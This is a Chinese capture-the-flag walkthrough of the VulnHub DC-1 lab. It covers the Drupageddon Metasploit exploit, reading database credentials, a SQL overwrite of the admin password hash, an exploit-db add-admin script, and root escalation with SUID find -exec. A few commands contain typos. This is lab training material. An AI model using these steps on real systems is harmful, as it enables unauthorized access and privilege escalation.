配置信息:
靶機下載地址:https://www.vulnhub.com/entry/dc-1,292/
靶機:DC1 (VirtualBox) IP:192.168.67.200
攻機:Kali (Local) IP:192.168.67.109
目標:獲取5個flag
開始遊戲:
nmap -sn 192.168.67.0/24
獲取目標IP地址:192.168.67.200
掃描目標信息:
nmap -A -p- 192.168.67.200
獲取目標開放端口:22 [ssh] || 80[http] || 111[rpc]
獲取目標系統信息:Linux 3.2 - 3.16
發現開放80端口,因此嘗試登錄網頁,瀏覽器輸入:http://192.168.67.200
左上方發現CMS爲Drupal
CMS:Drupal7
Web servers:Apache2.2.22
Programming languages:PHP5.4.45
Operating system:Debian
JavaScript libraries:JQuery1.4.4 jQuery UI1.8.7
使用 wappalyzer 插件確認獲取網站相關信息:
注:Wappalyzer是一款能夠分析目標網站所採用的平臺構架、網站環境、服務器配置環境、JavaScript框架、編程語言等參數的網站技術分析插件
確認 CMS 爲 Drupal,利用msfconsole獲取meterpreter:(use rank:excellent)
search drupal
use exploit/multi/http/drupal_drupageddon
show options
set RHOSTS 192.168.67.200
exploit
在meterpreter下獲取交互式反彈shell:
meterpreter > shell
python -c 'import pty;pyt.spawn("\bin\sh")'
$ ls
輸入命令 ls 發現有一個 flag1.txt,果斷查看它,這就得到了flag1
$ls
ls
COPYRIGHT.txt MAINTAINERS.txt includes robots.txt web.config
INSTALL.mysql.txt README.txt index.php scripts xmlrpc.php
INSTALL.pgsql.txt UPGRADE.txt install.php sites
INSTALL.sqlite.txt authorize.php misc themes
INSTALL.txt cron.php modules update.php
LICENSE.txt flag1.txt profiles user
$cat flag1.txt
cat flag1.txt
Every good CMS needs a config file - and so do you
每一個好的 CMS 都需要一個配置文件,你也如此。
根據falg1的提示,利用搜索引擎查詢Drupal的配置文件?
得到一個地址:/sites/default/settings.php —— 利用 more 查看全部信息
獲取 flag2,這就得到了第二個 flag2
$more sites/default/settings.php
more sites/default/settings.php
<?php
/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
暴力破解和字典攻擊並不是取得訪問權限的唯一方式(你需要訪問權限),利用這些憑證你能做什麼?
這是 flag2 給我們留下的信息,再回看該配置文件,會發現這裏有關於數據庫的詳細信息:
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
嘗試進入 mysql :
$ mysql -h localhost -u dbuser -p
mysql -h localhost -u dbuser -p
Enter password: R0ck3t
show databases;
use drupaldb;
show tables;
select * from users;
查詢有哪些表時,可以很明顯的看到有 users 這個表,果斷 select 一發再說
這就得到了用戶名和一串奇奇怪怪的密碼,再次利用搜索引擎,可搜索:drupal7忘記密碼怎麼辦?drupal7如何重置密碼?drupal7如何修改密碼?類似這些問題,讓開發者或研究人士告訴我們答案
還真告訴了,直接重置管理員密碼登錄。
exit
$ls
$php ./scripts/password-hash.sh 123456
mysql -h localhost -u dbuser -p
Enter password:R0ck3t
use drupaldb;
update users set pass='$S$DQZsZLqxCbnNCRuvOFCQBC2snsbkjGrH3Xw4nqxxhuYIONkuC4dP' where name='admin';
登錄成功
有時直接修改太過明目張膽,那麼有沒有較隱蔽的方法呢?有什麼比較隱蔽的方法能夠也是以管理員的身份去登錄的呢?要不試試添加一個管理員帳號?
首先得知道版本號,看能否利用,一般在modules/system/system.info可以看到版本號,如果不知道,利用搜索引擎也可得知這一信息:
cat modules/system/system.info
得到該Drupal的版本爲7.24
在kali上查詢是否存在添加管理員漏洞可利用:
searchexploit drupal
發現有 Add Admin User 可以利用且版本符合條件
copy一份到家目錄下,隨後添加一個具有管理員權限的賬戶
cp /usr/share/exploitdb/exploits/php/webapps/34992.py /root/34992.py
cd ~
python 34992.py -h
python 34992.py -t http://192.168.67.200 -u whoami -p 123456
登錄成功
隨後瀏覽頁面[每個按鈕都去點],看有無新發現,在find content找到了flag3
點擊 flag3,可以獲得flag3詳細信息:
特殊的PERMS可以幫助找到密碼-但您需要-exec該命令來隱藏的內容。
很明顯的提示:find+perms+exec 命令用來提權
首先利用 find 命令查看有哪些 suid 命令:
find / -perm -4000
利用 find 提權,find 提權有兩種方式:
/*這是第一種*/
find ./ acce -exec '/bin/sh' \;
/*這是第二種*/
touch bcce
find bcce -exec '/bin/sh' \;
這就拿到了 root 權限,查找有無flag4
可以發現 flag4 是一個用戶...
find / -name "flag4
cd /home/flag4
cat flag4.txt
你能利用同樣的方法用root權限找到或訪問到flag嗎?
貌似我們已經進入了root環境下,竟然flag4在家母錄下,那麼flag5會不會在root目錄下?
—— 找到 flag5:thefinalflag
遊戲結束
總結:
0:MSF 漏洞模塊利用
1:配置文件
2:搜索引擎的合理應用
3:提權